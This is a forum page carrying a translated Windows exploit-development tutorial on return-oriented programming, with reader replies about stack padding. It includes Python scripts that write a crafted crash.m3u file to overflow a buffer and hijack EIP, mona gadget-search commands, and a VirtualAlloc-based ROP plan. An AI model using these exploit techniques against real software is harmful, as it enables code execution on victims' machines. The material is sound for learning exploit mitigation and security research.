首页
社区
课程
招聘
[翻译]Windows Exploit开发系列教程第七部分:返回导向编程(ROP)
发表于: 2016-1-13 18:04 27576

[翻译]Windows Exploit开发系列教程第七部分:返回导向编程(ROP)

2016-1-13 18:04
27576
(1) 指针直接执行retn                    (2) 指针指向一些指令+retn

ESP -> ???????? => RETN                     ESP -> ???????? => POP EAX # RETN
       ???????? => RETN                           ffffffff => we put this value in EAX
       ???????? => RETN                         ???????? => INC EAX # RETN
       ???????? => RETN                         ???????? => XCHG EAX,EDX # RETN
(1)这里retn仅仅是增加esp             (2) 用配件将EDX清0
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A'                                            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'
#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 #---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()
结构:                                 参数:

LPVOID WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
  _In_opt_  LPVOID lpAddress,        =>    Return Address (Redirect Execution to ESP)
  _In_      SIZE_T dwSize,           =>    dwSize (0x1)
  _In_      DWORD flAllocationType,  =>    flAllocationType (0x1000)
  _In_      DWORD flProtect          =>    flProtect (0x40)
);

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 3
支持
分享
最新回复 (4)
雪    币: 438
活跃值: (228)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
2
总算搞明白了,不过修改rop链还是挺费事的,太巧妙了。谢谢青蛙大大。
2016-3-1 20:31
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
大佬,那个eip被填充retn =pop eip,然后不就是把栈后面的一个参数弹入eip么,直接rop不就行了 ,为啥要在加rop前面加4个字节的padding?
2018-10-26 14:19
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
问题解决了,得填充4个字节的数据然后esp才会指向真正的rop。然后 retn(pop eip)才会执行rop
2018-10-26 15:04
0
雪    币: 10
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
phshad指令会以这个顺序 Push EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI
2018-10-26 16:55
0
游客
登录 | 注册 方可回帖
返回
//